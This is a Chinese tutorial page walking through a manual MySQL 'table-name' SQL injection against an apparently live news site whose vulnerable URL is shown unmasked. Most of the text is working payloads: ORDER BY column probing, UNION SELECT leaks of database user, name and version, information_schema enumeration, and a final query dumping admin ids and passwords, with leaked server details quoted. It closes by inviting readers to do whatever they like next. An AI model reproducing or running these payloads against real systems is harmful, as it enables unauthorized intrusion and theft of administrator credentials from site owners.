网站地图    收藏   

主页 > 后端 > 网站安全 >

实战MySQL表名注入 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] 数值型和字符型比较常见,再有就是搜索型和cookies型的了,遇到一棒子站存在表名注入,什么穿山甲呀,萝卜呀统统认不出来这个点(也可能是我没配好),不过确实是个注入点,只好...

数值型和字符型比较常见,再有就是搜索型和cookies型的了,遇到一棒子站存在表名注入,什么穿山甲呀,萝卜呀统统认不出来这个点(也可能是我没配好),不过确实是个注入点,只好手工搞了。
注入点(就不打码了):
 
http://www.2cto.com /news/print_paper.php?number=150683&news_article=news_article
 
加单引号报错如下:
 
 
表名注入
\
 
由此可得知,这个脚本中至少执行了两次数据库操作。
第一条SQL:
 
SELECTDATEFROM news_article WHERE date_order >=668740920ORDERBY date_order LIMIT1
 
 
第二条SQL:
 
SELECT*FROM news_article WHERENUMBER='150683'
由于SQL中存在where语句,所以若想从表名注入就得把后面的注释掉,这里使用“;–”。
 
ORDERBY1;--
返回正常页面
 
ORDERBY2;--
这个时候第一句SQL就报错了,原因你懂的,而且这里查询的字段名为“date”,根据我个人的数据库设计经验,通常这个字段不会是字符型,也就不利于后续进一步注入,果断不管它。
 
ORDERBY20;--
正常(除了第一条SQL,后面就不提了)。
 
ORDERBY50;--
报错(第二条)。
 
ORDERBY40;--
正常
 
ORDERBY45;--
报错
 
ORDERBY43;--
报错
 
ORDERBY42;--
正常
好了,现在可以确定第二条查询语句有42个字段,接下来用union。
 
WHERE1=2UNIONSELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,2829,30,31,32,33,34,35,36,37,38,39,40,41,42;--
 
 
 
 
 
 
表名注入
 
\
从返回的结果与正常页面对比来看,字段2,6,7,16都是字符型。
爆数据库版本,用户名,数据库名:
 
 
 
WHERE1=2UNIONSELECT1,USER(),3,4,5,DATABASE(),version(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42;--
得到版本:5.0.90-log;用户名:upnews@61.97.139.36;数据库名:upnews
这就好办了,有information_schema可以用!
爆表(0x75706e657773是upnews的十六进制):
 
WHERE1=2UNIONSELECT1,2,3,4,5,(SELECT group_concat(TABLE_NAME)FROM(SELECTTABLE_NAMEFROM information_schema.TABLESWHERE table_schema=0x75706e657773 LIMIT0,10) a),7,8,9,10,11,12,13,14,15,(SELECTCOUNT(TABLE_NAME)FROM information_schema.TABLESWHERE table_schema=0x75706e657773),17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42;--
由于第一次用group_concat()直接爆,发现爆出的表个数有误,而且出现表名截断现象,所以上面的爆表语句又使用了子查询,通过limit进行分页查询,每次只查出10张表名。
爆字段(0x6e6577735f61646d696e5f6d656d626572是news_admin_member的十六进制):
 
WHERE1=2UNIONSELECT1,2,3,4,5,(SELECT group_concat(column_name)FROM(SELECT column_name FROM information_schema.COLUMNSWHERETABLE_NAME=0x6e6577735f61646d696e5f6d656d626572) a),7,8,9,10,11,12,13,14,15,(SELECTCOUNT(column_name)FROM information_schema.COLUMNSWHERETABLE_NAME=0x6e6577735f61646d696e5f6d656d626572),17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42;--
爆值:
 
WHERE1=2UNIONSELECT1,2,3,4,5,(SELECT group_concat(concat(id,0x7c,pass))FROM news_admin_member),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42;--
后面的,谁想干啥就干啥吧…o(∩_∩)o 哈哈
可以看出来其实表名注入很像数值型注入,甚至比其它类型注入更好用,因为表名之后的SQL完全可以自由控制

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论